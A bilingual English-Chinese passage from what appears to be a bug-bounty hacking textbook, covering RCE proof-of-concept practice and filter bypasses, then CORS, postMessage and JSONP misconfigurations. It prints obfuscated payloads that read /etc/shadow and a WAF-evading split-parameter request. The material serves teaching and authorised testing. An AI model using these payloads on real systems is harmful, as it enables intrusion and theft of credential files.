Be extra cautious when escalating RCE vulnerabilities. Most companies would prefer that you don’t try to escalate them at all because they don’t want someone poking around systems that contain confidential data. During a typical penetration test, a hacker will often try to figure out the privileges of the current user and attempt privilege-escalation attacks after they gain RCE. But in a bug bounty context, this isn’t appropriate. You might accidentally read sensitive information about customers or cause damage to the systems by modifying a critical file. It’s important that you carefully read the bounty program rules so you don’t cross the lines.

在升级RCE漏洞时要格外小心。大多数公司都希望您根本不要尝试升级它们，因为他们不希望有人在含机密数据的系统中进行探测。在典型的渗透测试中，黑客经常会尝试弄清当前用户的特权，并在获得RCE后尝试特权升级攻击。但在漏洞赏金的情况下，这是不合适的。您可能会意外读取客户的敏感信息，或通过修改关键文件来损坏系统。重要的是，您仔细阅读赏金计划规则，以免越界。

For classic RCEs, create a proof of concept that executes a harmless command like whoami or ls . You can also prove you’ve found an RCE by reading a common system file such as /etc/passwd . You can use the cat command to read a system file:

针对经典的远程代码执行（RCE）漏洞，需创建一个可执行无害命令（如whoami或ls）的概念证明。也可通过读取常见系统文件（如/etc/passwd）来验证是否发现了RCE漏洞。可以使用cat命令来读取系统文件。

cat /etc/passwd

On Linux systems, the /etc/passwd file contains a list of the system’s accounts and their user IDs, group IDs, home directories, and default shells. This file is usually readable without special privileges, so it’s a good file to try to access first.

在Linux系统中，/etc/passwd文件包含系统帐户及其用户ID、组ID、主目录和默认Shell的列表。这个文件通常可以在没有特殊权限的情况下进行读取，因此它是一个首要尝试访问的好文件。

Finally, you can create a file with a distinct filename on the system, such as rce_by_YOUR_NAME.txt so it’s clear that this file is a part of your POC. You can use the touch command to create a file with the specified name in the current directory:

最后，您可以在系统上创建一个具有不同文件名的文件，例如rce_by_YOUR_NAME.txt，以便清楚表明该文件是您的POC的一部分。您可以使用touch命令在当前目录中创建具有指定名称的文件：

touch rce_by_YOUR_NAME.txt

For blind RCEs, create a POC that executes the sleep command. You can also create a reverse shell on the target machine that connects back to your system for a more impactful POC. However, this is often against program rules, so be sure to check with the program beforehand.

针对盲目RCE漏洞，请创建一个执行睡眠命令的POC。你也可以在目标机器上创建一个反向shell，使其连接回你的系统，以创建一个更有影响力的POC。但是，这通常违反程序规则，所以请提前与程序确认。

It’s easy to step over the bounds of the bounty policy and cause unintended damage to the target site when creating POCs for RCE vulnerabilities. When you create your POC, make sure that your payload executes a harmless command and that your report describes the steps needed to achieve RCE. Often, reading a nonsensitive file or creating a file under a random path is enough to prove your findings.

在创建用于 RCE 漏洞的 POC 时，容易超出赏金政策的限制并对目标站点造成意外损害。创建您的 POC 时，请确保您的负载执行无害命令，并且您的报告描述了实现 RCE 的步骤。通常，阅读非敏感文件或在随机路径下创建文件就足以证明您的发现。

Bypassing RCE Protection

Many applications have caught on to the dangers of RCE and employ either input validation or a firewall to stop potentially malicious requests. But programming languages are often quite flexible, and that enables us to work within the bounds of the input validation rules to make our attack work! Here are some basic input validation bypasses you can try in case the application is blocking your payloads.

许多应用程序已经意识到了RCE的危险，并采用输入验证或防火墙来阻止潜在的恶意请求。但是编程语言往往非常灵活，这使我们能够在输入验证规则范围内工作，以使我们的攻击有效！以下是一些基本的输入验证绕过方式，如果应用程序正在阻止您的有效载荷，请尝试。

For Unix system commands, you can insert quotes and double quotes without changing the command’s behavior. You can also use wildcards to substitute for arbitrary characters if the system is filtering out certain strings. Finally, any empty command substitution results can be inserted into the string without changing the results. For example, the following commands will all print the contents of /etc/shadow :

对于Unix系统命令，您可以插入引号和双引号，而不改变命令的行为。如果系统过滤某些字符串，还可以使用通配符替换任意字符。最后，任何空的命令替换结果都可以插入到字符串中，而不影响结果。例如，以下命令将打印/etc/shadow的内容。

cat /etc/shadow
cat "/e"tc'/shadow'
cat /etc/sh*dow
cat /etc/sha``dow
cat /etc/sha$()dow
cat /etc/sha${}dow

You can also vary the way you write the same command in PHP. For example, PHP allows you to concatenate function names as strings. You can even hex-encode function names, or insert PHP comments in commands without changing their outcome:

你还可以变换PHP中编写同一命令的方式。例如，PHP允许你将函数名拼接为字符串。你甚至可以十六进制编码函数名称，或在命令中插入PHP注释而不影响命令结果。

/* Text surrounded by these brackets are comments in PHP. */

For example, say you want to execute this system command in PHP:

例如，假设你想在 PHP 中执行这个系统命令：

system('cat /etc/shadow');

The following example executes a system command by concatenating the strings sys and tem :

下面的示例通过连接字符串sys和tem来执行系统命令：

('sys'.'tem')('cat /etc/shadow');

The following example does the same thing but inserts a blank comment in the middle of the command:

以下示例做同样的事情，但在命令中间插入了一个空白注释：

system/**/('ls');

And this line of code is a hex-encoded version of the system command:

这行代码是系统命令的十六进制编码版本：

'\x73\x79\x73\x74\x65\x6d'('ls');

Similar behavior exists in Python. The following are all equivalent in Python syntax:

Python 中存在类似的行为。以下所有内容在 Python 语法中都是等价的：

__import__('os').system('cat /etc/shadow')
__import__('o'+'s').system('cat /etc/shadow')
__import__('\x6f\x73').system('cat /etc/shadow')

Additionally, some servers concatenate the values of multiple parameters that have the same name into a single value. In this case, you can split malicious code into chunks to bypass input validation. For example, if the firewall blocks requests that contain the string system , you can split your RCE payload into chunks, like so:

此外，一些服务器将具有相同名称的多个参数的值连接成单个值。在这种情况下，您可以将恶意代码拆分成块以绕过输入验证。例如，如果防火墙阻止请求包含字符串“system”，您可以将RCE有效负载分成多个块，例如：

GET /calculator?calc="__import__('os').sy"&calc="stem('ls')"
Host: example.com

The parameters will get through the firewall without issue, since the request technically doesn’t contain the string system . But when the server processes the request, the parameter values will be concatenated into a single string that forms our RCE payload: "__import__('os').system('ls')" .

参数将会在防火墙中通过，因为该请求在技术上不包含字符串 "system"。但是当服务器处理该请求时，参数值将被连接成一个单一的字符串，形成我们的 RCE 载荷: "__import__('os').system('ls')".

This is only a tiny subset of filter bypasses you can try; many more exist. For example, you can hex-encode, URL-encode, double-URL-encode, and vary the cases (uppercase or lowercase characters) of your payloads. You can also try to insert special characters such as null bytes, newline characters, escape characters (\) , and other special or non-ASCII characters into the payload. Then, observe which payloads are blocked and which ones succeed, and craft exploits that will bypass the filter to accomplish your desired results. If you’re interested in this topic, search online for RCE filter bypass or WAF bypass to learn more. Additionally, the principles mentioned in this section can be used to bypass input validation for other vulnerabilities as well, such as SQL injection and XSS.

这仅仅是一小部分可以尝试的绕过过滤器的方法；还有很多其他的方法存在。例如，你可以进行十六进制编码、URL编码、双倍URL编码和变化大小写字符的有效载荷。你也可以尝试插入特殊字符，如空字节、换行符、转义字符(\)和其他特殊或非ASCII字符到有效载荷中。然后观察哪些有效载荷被阻止了，哪些成功了，并设计绕过过滤器的漏洞利用程序来达到你想要的结果。如果你对这个主题感兴趣，请搜索RCE过滤器绕过或WAF绕过来了解更多。此外，本节提到的原则同样可以用于绕过输入验证的其他漏洞，如SQL注入和XSS。这只是您可以尝试的绕过过滤器的微小子集；还有更多种方法。例如，您可以使用十六进制编码、URL编码、双倍URL编码，并更改有效载荷的大小写。您还可以尝试插入特殊字符，如空字节、换行符、转义字符（\）和其他特殊或非ASCII字符到有效载荷中。然后观察哪些有效载荷被阻止，哪些成功，并设计绕过过滤器的漏洞利用程序来实现您想要的结果。如果您对此主题感兴趣，请在线搜索RCE过滤器绕过或WAF绕过以了解更多信息。此外，本节提到的原则也可用于绕过其他漏洞的输入验证，例如SQL注入和XSS。

Finding Your First RCE!

It’s time to find your first RCE by using the tips and tricks you’ve learned in this chapter.

是时候利用本章学习的技巧和诀窍找到你的第一个RCE了。

Identify suspicious user-input locations. For code injections, take note of every user-input location, including URL parameters, HTTP headers, body parameters, and file uploads. To find potential file inclusion vulnerabilities, check for input locations being used to determine or construct filenames and for file-upload functions.

Submit test payloads to the input locations in order to detect potential vulnerabilities.

If your requests are blocked, try protection-bypass techniques and see if your payload succeeds.

Finally, confirm the vulnerability by trying to execute harmless commands such as whoami , ls , and sleep 5 .

Avoid reading sensitive system files or altering any files with the vulnerability you’ve found.

Submit your first RCE report to the program!

19
Same-Origin Policy Vulnerabilities

Chapter 3 introduced the same-origin policy (SOP), one of the fundamental defenses deployed in modern web applications. The SOP restricts how a script originating from one site can interact with the resources of a different site, and it’s critical in preventing many common web vulnerabilities.

第三章介绍了同源策略（SOP），这是现代Web应用程序中部署的基本防御之一。 SOP限制来自一个站点的脚本如何与另一个站点的资源进行交互，这在防止许多常见的Web漏洞方面至关重要。

But websites often loosen the SOP in order to have more flexibility. These controlled and intended SOP bypasses can have adverse effects, as attackers can sometimes exploit misconfigurations in these techniques to bypass the SOP. These exploits can cause private information leaks and often lead to more vulnerabilities, such as authentication bypass, account takeover, and large data breaches. In this chapter, we’ll discuss how applications relax or work around the SOP and how attackers can exploit these features to endanger the application.

但网站经常会放宽 SOP 以获得更多的灵活性。这些受控制和有意的 SOP 绕过可能会产生负面影响，因为攻击者有时可以利用这些技术中的配置错误来绕过 SOP。这些漏洞可能会导致私人信息泄漏，通常会导致更多漏洞，例如身份验证绕过、账户接管和大规模数据泄露。在本章中，我们将讨论应用程序如何放宽或绕过 SOP，以及攻击者如何利用这些功能危害应用程序。

Mechanisms

Here’s a quick review of how the SOP works. Because of the SOP, a script from page A can access data from page B only if the pages are of the same origin. Two URLs are said to have the same origin if they share the same protocol, hostname, and port number. Modern web applications often base their authentication on HTTP cookies, and servers take action based on the cookies included automatically by the browser. This makes the SOP especially important. When the SOP is implemented, malicious web pages won’t be able to take advantage of the cookies stored in your browser to access your private information. You can read more about the details of the SOP in Chapter 3 .

这里简要介绍SOP的工作原理。由于SOP的存在，仅当页面A和B属于相同的来源时，页面A的脚本才能访问页面B的数据。如果两个URL具有相同的协议，主机名和端口号，则它们被视为具有相同的来源。现代Web应用程序通常基于HTTP Cookie进行身份验证，并且服务器根据浏览器自动包含的Cookie采取行动。这使得SOP尤为重要。当SOP实施时，恶意网页将无法利用存储在您的浏览器中的Cookie来访问您的私人信息。您可以在第3章中了解有关SOP的详细信息。

Practically, the SOP is often too restrictive for modern web applications. For example, multiple subdomains or multiple domains of the same organization wouldn’t be able to share information if they followed the policy. Since the SOP is inflexible, most websites find ways to relax it. This is often where things go wrong.

实际上，同源策略对于现代网络应用程序来说经常过于严格。例如，如果按照该策略，同一组织的多个子域或多个域名将无法共享信息。由于同源策略不灵活，大多数网站都会找到放宽策略的方法，而这往往会导致问题。

For instance, imagine that you are an attacker trying to smuggle information out of a banking site, a.example.com , and find a user’s account number. You know that a user’s banking details are located at a.example.com/user_info . Your victim is logged into the banking site at a.example.com and is also visiting your site, attacker.com , in the same browser.

例如，想象一下你是一个攻击者，试图从银行网站a.example.com走私信息，并找到一个用户的帐号。您知道用户的银行详细信息位于a.example.com/user_info。您的受害者已登录到a.example.com的银行网站，并在同一浏览器中访问您的网站attacker.com。

Your site issues a GET request to a.example.com/user_info to retrieve the victim’s personal information. Since your victim is logged into the bank, their browser automatically includes their cookies in every request it sends to a.example.com , even if the request is generated by a script on your malicious site. Unfortunately, because of the SOP, the victim’s browser won’t allow your site to read data returned from a.example.com .

您的网站向a.example.com/user_info发送GET请求以检索受害者的个人信息。由于受害者已登录银行，他们的浏览器会自动将cookies包含在发送到a.example.com的每个请求中，即使请求是由您的恶意网站上的脚本生成的。不幸的是，由于SOP的原因，受害者的浏览器不允许您的网站读取从a.example.com返回的数据。

But now, say you realize that a.example.com passes information to b.example.com via SOP bypass techniques. If you can find out the technique used and exploit it, you might be able to steal the victim’s private information on the banking site.

但是现在，假设你意识到a.example.com通过SOP绕过技术向b.example.com传递信息。如果你能找出所使用的技术并利用它，你就有机会在银行网站上窃取受害者的私人信息。

The simplest way for websites to work around the SOP is to change the origin of a page via JavaScript. Setting the origin of two pages to the same domain using document.domain in the pages’ JavaScript will enable the pages to share resources. For example, you can set the domain of both a.example.com and b.example.com to example.com so that they can interact:

网站绕过SOP的最简单方法是通过JavaScript更改页面的来源。在页面的JavaScript中使用document.domain将两个页面的来源设置为相同的域，将使页面共享资源。例如，您可以将a.example.com和b.example.com的域设置为example.com，以便它们可以交互。

document.domain = "example.com"

However, this approach has its limitations. First, you can only set the document.domain of a page to a superdomain; for example, you can set the origin of a.example.com to example.com , but not to example2.com . Therefore, this method will work only if you want to share resources with superdomains or sibling subdomains.

然而，这种方法也有它的局限性。首先，你只能将页面的 document.domain 设为一个上级域名；例如，你可以将 a.example.com 的来源设为 example.com，但不能设为 example2.com。因此，这种方法只能在你想与上级域或同级子域名共享资源时才能使用。

Exploiting Cross-Origin Resource Sharing

Because of these limitations, most sites use Cross-Origin Resource Sharing (CORS) to relax the SOP instead. CORS is a mechanism that protects the data of the server. It allows servers to explicitly specify a list of origins that are allowed to access its resources via the HTTP response header Access-Control-Allow-Origin .

由于这些限制，大多数网站使用跨域资源共享（CORS）来放宽SOP。CORS是一种保护服务器数据的机制。它允许服务器通过HTTP响应头Access-Control-Allow-Origin显式地指定一组允许访问其资源的原点列表。

For example, let’s say we’re trying to send the following JSON blob located at a.example.com/user_info to b.example.com :

例如，假设我们正在尝试将位于a.example.com/user_info的以下JSON数据块发送到b.example.com：

{"username": "vickieli", "account_number": "12345"}

Under the SOP, b.example.com won’t be able to access the JSON file, because a.example.com and b.example.com are of different origins. But using CORS, the user’s browser will send an Origin header on behalf of b.example.com :

根据SOP，b.example.com将无法访问JSON文件，因为a.example.com和b.example.com属于不同的来源。但是使用CORS，用户的浏览器将代表b.example.com发送Origin标头：

Origin: https://b.example.com

If b.example.com is part of an allowlist of URLs with permission to access resources on a.example.com , a.example.com will send the browser the requested resource along with an Access-Control-Allow-Origin header. This header will indicate to the browser that a specific origin is allowed to access the resource:

如果b.example.com是URL允许列表中的一部分，具有访问a.example.com资源的权限，a.example.com将向浏览器发送请求的资源以及Access-Control-Allow-Origin头。该头将指示浏览器允许特定来源访问资源。

Access-Control-Allow-Origin: b.example.com

The application can also return the Access-Control-Allow-Origin header with a wildcard character ( * ) to indicate that the resource on that page can be accessed by any domain:

该应用程序还可以返回Access-Control-Allow-Origin头带有通配符字符(*)，以表示该页面上的资源可被任何域名访问。

Access-Control-Allow-Origin: *

On the other hand, if the origin of the requesting page isn’t allowed to access the resource, the user’s browser will block the requesting page from reading the data.

另一方面，如果请求页面的来源未被允许访问该资源，用户的浏览器将阻止请求页面读取数据。

CORS is a great way to implement cross-origin communication. However, CORS is safe only when the list of allowed origins is properly defined. If CORS is misconfigured, attackers can exploit the misconfiguration and access the protected resources.

CORS是一种很好的实现跨域通信的方式。然而，只有在正确定义允许访问的来源列表时，CORS才是安全的。如果CORS配置不正确，攻击者可以利用这种错误配置来访问被保护的资源。

The most basic misconfiguration of CORS involves allowing the null origin. If the server sets Access-Control-Allow-Origin to null , the browser will allow any site with a null origin header to access the resource. This isn’t safe because any origin can create a request with a null origin. For instance, cross-site requests generated from a document using the data: URL scheme will have a null origin.

CORS的最基本的配置错误是允许null origin。如果服务器将Access-Control-Allow-Origin设置为null，浏览器将允许任何带有null origin头的站点访问资源。这不安全，因为任何来源都可以创建具有null origin的请求。例如，使用data: URL方案创建的文档生成的跨站请求将具有null origin。

Another misconfiguration is to set the Access-Control-Allow-Origin header to the origin of the requesting page without validating the requestor’s origin. If the server doesn’t validate the origin and returns an Access-Control-Allow-Origin for any origin, the header will completely bypass the SOP, removing all limitations on cross-origin communication.

另一个配置问题是在未验证请求者的来源情况下将Access-Control-Allow-Origin头设置为请求页面的来源。如果服务器不验证来源并为任何来源返回Access-Control-Allow-Origin，则此头将完全绕过SOP，在跨域通信方面删除所有限制。

In summary, if the server sets the Access-Control-Allow-Origin header to null or to arbitrary origins of the requesting page, it allows attackers to smuggle information offsite:

总之，如果服务器将Access-Control-Allow-Origin头设置为null或请求页面的任意来源，它允许攻击者将信息从站点外走私。

Access-Control-Allow-Origin: null
Access-Control-Allow-Origin: https://attacker.com

Another exploitable misconfiguration occurs when a site uses weak regexes to validate origins. For example, if the policy checks only if an origin URL starts with www.example.com , the policy can be bypassed using an origin like www.example.com.attacker.com .

另一个可利用的配置错误是当网站使用弱的正则表达式来验证来源时发生。例如，如果策略仅检查起始源URL是否以www.example.com开头，则可以使用类似www.example.com.attacker.com的来源绕过该策略。

Access-Control-Allow-Origin: https://www.example.com.attacker.com

An interesting configuration that isn’t exploitable is setting the allowed origins to the wildcard ( * ). This isn’t exploitable because CORS doesn’t allow credentials, including cookies, authentication headers, or client-side certificates, to be sent with requests to these pages. Since credentials cannot be sent in requests to these pages, no private information can be accessed:

一个有趣的设置是将允许来源设置为通配符（*）。这不可利用，因为CORS不允许凭据（包括Cookie，身份验证标头或客户端证书）与请求一起发送到这些页面。由于不能在请求中发送凭证到这些页面，因此不能访问私人信息。

Access-Control-Allow-Origin: *

Developers can prevent CORS misconfigurations by creating a well-defined CORS policy with a strict allowlist and robust URL validation. For pages containing sensitive information, the server should return the requesting page’s origin in the Access-Control-Allow-Origin header only if that origin is in the allowlist. For public information, the server can simply use the wildcard * designation for Access-Control-Allow-Origin .

开发者可以通过创建一个明确定义的 CORS 策略并进行严格的白名单和 URL 验证来防止 CORS 配置不当。对于包含敏感信息的页面，只有该域名在白名单中时，服务器才会在 Access-Control-Allow-Origin 头中返回请求页面的源。对于公开信息，服务器可以使用通配符 * 来指定 Access-Control-Allow-Origin。

Exploiting postMessage()

Some sites work around SOP by using postMessage() . This method is a web API that uses JavaScript syntax. You can use it to send text-based messages to another window:

一些网站用postMessage()规避SOP，这种方法是一种使用JavaScript语法的Web API。您可以使用它向另一个窗口发送基于文本的消息：

RECIPIENT_WINDOW.postMessage(MESSAGE_TO_SEND, TARGET_ORIGIN);

The receiving window would then handle the message by using an event handler that will be triggered when the receiving window receives a message:

接收窗口将通过使用事件处理程序来处理消息，该事件处理程序将在接收窗口接收到消息时触发。

window.addEventListener("message",EVENT_HANDLER_FUNCTION);

Since using postMessage() requires the sender to obtain a reference to the receiver’s window, messages can be sent only between a window and its iframes or pop-ups. That’s because only windows that open each other will have a way to reference each other. For example, a window can use window.open to refer to a new window it opened. Alternatively, it can use window.opener to reference the window that spawned the current window. It can use window.frames to reference embedded iframes, and window.parent to reference the parent window of the current iframe.

由于使用postMessage（）需要发送者获取对接收者窗口的引用，因此消息只能在窗口和它的iframe或弹出窗口之间发送。这是因为只有相互打开的窗口才有互相引用的方法。例如，窗口可以使用window.open引用它打开的新窗口。或者，它可以使用window.opener引用生成当前窗口的窗口。它可以使用window.frames引用嵌入的iframes，并使用window.parent引用当前iframe的父窗口。

For example, say we’re trying to pass the following JSON blob located at a.example.com/user_info to b.example.com :

例如，假设我们正在尝试将位于a.example.com/user_info的以下JSON块传递到b.example.com:

{'username': 'vickieli', 'account_number': '12345'}

a.example.com can open b.example.com and send a message to its window. The window.open() function opens the window of a particular URL and returns a reference to it:

a.example.com可以打开b.example.com并向其窗口发送信息。 window.open（）函数打开特定URL的窗口并返回对其的引用：

var recipient_window = window.open("https://b.example.com", b_domain)
recipient_window.postMessage("{'username': 'vickieli', 'account_number': '12345'}", "*");

At the same time, b.example.com would set up an event listener to process the data it receives:

同时，b.example.com将设置一个事件监听器来处理它接收到的数据。

function parse_data(event) {
  // Parse the data
}
window.addEventListener("message", parse_data);

As you can see, postMessage() does not bypass SOP directly but provides a way for pages of different origins to send data to each other.

你可以看到，postMessage（）并不直接绕过同源策略，但为不同源的页面提供了一种相互发送数据的方式。

The postMessage() method can be a reliable way to implement cross-origin communication. However, when using it, both the sender and the receiver of the message should verify the origin of the other side. Vulnerabilities happen when pages enforce weak origin checks or lack origin checks altogether.

“postMessage（）方法可以是实现跨源通信的可靠方式。但是，使用它时发送者和接收者都应验证对方的来源。弱的来源检查或完全缺少来源检查的页面会产生漏洞。”

First, the postMessage() method allows the sender to specify the receiver’s origin as a parameter. If the sender page doesn’t specify a target origin and uses a wildcard target origin instead, it becomes possible to leak information to other sites:

首先，postMessage() 方法允许发送者将接收者的来源作为参数指定。如果发送者页面没有指定目标来源，而是使用通配符目标来源，那么就可能向其他网站泄露信息。

RECIPIENT_WINDOW.postMessage(MESSAGE_TO_SEND, *);

In this case, an attacker can create a malicious HTML page that listens for events coming from the sender page. They can then trick users into triggering the postMessage() by using a malicious link or fake image and make the victim page send data to the attacker’s page.

在这种情况下，攻击者可以创建一个恶意的 HTML 页面，监听来自发送者页面的事件。然后，他们可以通过使用恶意链接或假图像欺骗用户触发 postMessage()，并让受害页面将数据发送到攻击者的页面。

To prevent this issue, developers should always set the TARGET_ORIGIN parameter to the target site’s URL instead of using a wildcard origin:

为了防止这个问题，开发者应该始终将 "TARGET_ORIGIN" 参数设置为目标站点的 URL，而不是使用通配符。

recipient_window.postMessage(
"{'username': 'vickieli', 'account_number': '12345'}", "https://b.example.com");

On the other hand, if the message receiver doesn’t validate the page where the postMessage() is coming from, it becomes possible for attackers to send arbitrary data to the website and trigger unwanted actions on the victim’s behalf. For example, let’s say that b.example.com allows a.example.com to trigger a password change based on a postMessage() , like this:

另外，如果信息接收方不验证postMessage（）来源的页面，则攻击者可以向网站发送任意数据，并以受害者的名义触发不必要的操作。例如，假设b.example.com允许a.example.com根据postMessage（）触发密码更改，如下所示：

recipient_window.postMessage(
"{'action': 'password_change', 'username': 'vickieli', 'new_password': 'password'}",
"https://b.example.com");

The page b.example.com would then receive the message and process the request:

页面b.example.com将接收并处理请求：

function parse_data(event) {
  // If "action" is "password_change", change the user's password
}
window.addEventListener("message", parse_data);

Notice here that any window can send messages to b.example.com , so any page can initiate a password change on b.example.com ! To exploit this behavior, the attacker can embed or open the victim page to obtain its window reference. Then they’re free to send arbitrary messages to that window.

请注意，任何窗口都可以向b.example.com发送消息，因此任何页面都可以在b.example.com上发起密码更改！攻击者可以利用这种行为嵌入或打开受害者页面以获取其窗口引用。然后，他们可以自由地向该窗口发送任意消息，从而利用此漏洞。

To prevent this issue, pages should verify the origin of the sender of a message before processing it:

为了避免这个问题，页面在处理邮件前应该验证发件人的来源。

function parse_data(event) {
1 if (event.origin == "https://a.example.com"){

    // If "action" is "password_change", change the user's password
  }
}
window.addEventListener("message", parse_data);

This line 1 verifies the origin of the sender by checking it against an acceptable origin.

这一行通过将其与可接受的来源进行比较来验证发送者的来源。

Exploiting JSON with Padding

JSON with Padding ( JSONP) is another technique that works around the SOP. It allows the sender to send JSON data as JavaScript code. A page of a different origin can read the JSON data by processing the JavaScript.

JSONP是另一种可以绕过同源策略的技术。它允许发送器将JSON数据作为JavaScript代码发送。不同源的页面可以通过处理JavaScript来读取JSON数据。

To see how this works, let’s continue with our previous example, where we’re trying to pass the following JSON blob located at a.example.com/user_info to b.example.com :

为了了解它的工作原理，让我们继续使用我们之前的示例，我们试图将位于a.example.com/user_info的以下JSON块传递给b.example.com:

{"username": "vickieli", "account_number": "12345"}

The SOP allows the HTML <script> tag to load scripts across origins, so an easy way for b.example.com to retrieve data across origins is to load the data as a script in a <script> tag:

SOP允许HTML <script>标签跨域加载脚本，因此b.example.com跨域检索数据的简单方法是将数据作为<script>标签中的脚本加载：

<script src="https://a.example.com/user_info"></script>

This way, b.example.com would essentially be including the JSON data block in a script tag. But this would cause a syntax error because JSON data is not valid JavaScript:

这样，b.example.com 实际上会在一个脚本标签中包含 JSON 数据块。但这会导致语法错误，因为 JSON 数据不是合法的 JavaScript 语法。

<script>
    {"username": "vickieli", "account_number": "12345"}
</script>

JSONP works around this issue by wrapping the data in a JavaScript function, and sending the data as JavaScript code instead of a JSON file.

JSONP通过将数据包装在一个JavaScript函数中，将数据作为JavaScript代码而不是JSON文件发送，从而解决了这个问题。

The requesting page includes the resource as a script and specifies a callback function, typically in a URL parameter named callback or jsonp . This callback function is a predefined function on the receiving page ready to process the data:

请求页面包含资源作为一个脚本，并指定一个回调函数，通常在名为callback或jsonp的URL参数中。这个回调函数是接收页面上预定义的函数，可以处理数据：

<script src="https://a.example.com/user_info?callback=parseinfo"></script>

The page at a.example.com will return the data wrapped in the specified callback function:

页面a.example.com将返回指定回调函数包装的数据：

parseinfo({"username": "vickieli", "account_number": "12345"})

The receiving page would essentially be including this script, which is valid JavaScript code:

接收页面基本上将包含此脚本，这是有效的JavaScript代码：

<script>
    parseinfo({"username": "vickieli", "account_number": "12345"})
</script>

The receiving page can then extract the data by running the JavaScript code and processing the parseinfo() function. By sending data as scripts instead of JSON data, JSONP allows resources to be read across origins. Here’s a summary of what happens during a JSONP workflow:

接收页面可以通过运行JavaScript代码并处理parseinfo()函数来提取数据。通过将数据作为脚本而不是JSON数据发送，JSONP允许跨来源读取资源。以下是JSONP工作流程的摘要：

The data requestor includes the data’s URL in a script tag, along with the name of a callback function.

The data provider returns the JSON data wrapped within the specified callback function.

The data requestor receives the function and processes the data by running the returned JavaScript code.

You can usually find out if a site uses JSONP by looking for script tags that include URLs with the terms jsonp or callback .

你可以通过查找包含jsonp或callback术语的URL的脚本标签来通常找到一个网站是否使用JSONP。

But JSONP comes with risks. When JSONP is enabled on an endpoint, an attacker can simply embed the same script tag on their site and request the data wrapped in the JSONP payload, like this:

但JSONP存在风险。当启用JSONP时，攻击者可以在其网站上嵌入相同的脚本标签，并使用JSONP有效负载封装请求的数据，像这样：

<script src="https://a.example.com/user_info?callback=parseinfo"></script>

If a user is browsing the attacker’s site while logged into a.example.com at the same time, the user’s browser will include their credentials in this request and allow attackers to extract confidential data belonging to the victim.

如果用户同时在登录a.example.com的情况下浏览攻击者网站，则用户的浏览器将包含他们的凭据以及请求，这将使攻击者能够提取属于受害者的机密数据。

This is why JSONP is suitable for transmitting only public data. While JSONP can be hardened by using CSRF tokens or maintaining an allowlist of referer headers for JSONP requests, these protections can often be bypassed.

这就是为什么JSONP只适用于传递公共数据的原因。虽然可以通过使用CSRF令牌或维护JSONP请求的refer头名单来增强JSONP的安全性，但是这些保护措施经常会被绕过。

Another issue with JSONP is that site b.example.com would have to trust site a.example.com completely, because it’s running arbitrary JavaScript from a.example.com . If a.example.com is compromised, the attacker could run whatever JavaScript they wanted on b.example.com , because b.example.com is including the file from a.example.com in a <script> tag. This is equivalent to an XSS attack.

JSONP还存在另一个问题，即网站b.example.com必须完全信任网站a.example.com，因为它正在从a.example.com运行任意JavaScript。如果a.example.com遭到攻击，攻击者可以在b.example.com上运行任何想要的JavaScript，因为b.example.com在<script>标签中包含了来自a.example.com的文件。这相当于一次XSS攻击。

Now that CORS is a reliable option for cross-origin communication, sites no longer use JSONP as often.

由于CORS已成为跨域通讯的可靠选项，因此网站不再经常使用JSONP。

Bypassing SOP by Using XSS

Finally, XSS is essentially a full SOP bypass, because any JavaScript that runs on a page operates under the security context of that page. If an attacker can get a malicious script executed on the victim page, the script can access the victim page’s resources and data. Therefore, remember that if you can find an XSS, you’ve essentially bypassed the SOP protecting that page.

最后，XSS本质上是完全绕过SOP，因为在页面上运行的任何JavaScript都在该页面的安全上下文下操作。如果攻击者能够在受害者页面上执行恶意脚本，该脚本就可以访问受害者页面的资源和数据。因此，请记住，如果您能找到XSS漏洞，您本质上是绕过了保护该页面的SOP。

Hunting for SOP Bypasses

Let’s start hunting for SOP bypass vulnerabilities by using what you’ve learned! SOP bypass vulnerabilities are caused by the faulty implementation of SOP relaxation techniques. So the first thing you need to do is to determine whether the target application relaxes the SOP in any way.

让我们利用所学知识开始寻找SOP绕过漏洞！SOP绕过漏洞是由SOP松弛技术错误实现引起的。因此，你需要做的第一件事就是确定目标应用程序是否以任何方式放松了SOP。

Step 1: Determine If SOP Relaxation Techniques Are Used

You can determine whether the target is using an SOP-relaxation technique by looking for the signatures of each SOP-relaxation technique. When you’re browsing a web application, open your proxy and look for any signs of cross-origin communication. For example, CORS sites will often return HTTP responses that contain an Access-Control-Allow-Origin header. A site could be using postMessage() if you inspect a page (for example, by right-clicking it in Chrome and choosing Inspect , then navigating to Event Listeners ) and find a message event listener ( Figure 19-1 ).

你可以通过查找每种SOP松弛技术的特征来确定目标是否使用SOP松弛技术。当你浏览一个网页应用程序时，请打开代理并查找任何跨域通信的迹象。例如，CORS网站通常会返回包含Access-Control-Allow-Origin头的HTTP响应。如果你检查一个页面（例如，在Chrome中右键单击它并选择检查，然后导航到事件监听器），并找到一个消息事件监听器（图19-1），那么这个网站可能正在使用postMessage()。

And a site could be using JSONP if you see a URL being loaded in a <script> tag with a callback function:

如果您看到一个带有回调函数的<script>标记中加载的URL，则网站可能正在使用JSONP：

<script src="https://a.example.com/user_info?callback=parseinfo"></script>
<script src="https://a.example.com/user_info?jsonp=parseinfo"></script>

If you see clues of cross-origin communication, try the techniques mentioned in this chapter to see if you can bypass the SOP and steal sensitive info from the site!

如果您看到了跨域通信的线索，请尝试本章介绍的技术，看看是否可以绕过 SOP 并从该网站窃取敏感信息！

Figure 19-1 : Finding the event listeners of a page in the Chrome browser

图19-1：在Chrome浏览器中查找页面的事件监听器。

Step 2: Find CORS Misconfiguration

If the site is using CORS, check whether the Access-Control-Allow-Origin response header is set to null .

如果该站点正在使用CORS，请检查Access-Control-Allow-Origin响应头是否设置为null。

Origin: null

If not, send a request to the site with the origin header attacker.com , and see if the Access-Control-Allow-Origin in the response is set to attacker.com . (You can add an Origin header by intercepting the request and editing it in a proxy.)

如果没有设置，则向网站发送一个带有攻击者的来源头部（attacker.com）的请求，并查看响应中的Access-Control-Allow-Origin是否设置为attacker.com。（您可以通过拦截请求并在代理中进行编辑来添加一个来源头部。）

Origin: attacker.com

Finally, test whether the site properly validates the origin URL by submitting an Origin header that contains an allowed site, such as www.example.com.attacker.com . See if the Access-Control-Allow-Origin header returns the origin of the attacker’s domain.

最后，测试网站是否可以通过提交包含允许网站的 Origin 头来正确验证来源 URL，例如 www.example.com.attacker.com。查看 Access-Control-Allow-Origin 头是否返回攻击者域的来源。

Origin: www.example.com.attacker.com

If one of these Access-Control-Allow-Origin header values is returned, you have found a CORS misconfiguration. Attackers will be able to bypass the SOP and smuggle information offsite ( Figure 19-2 ).

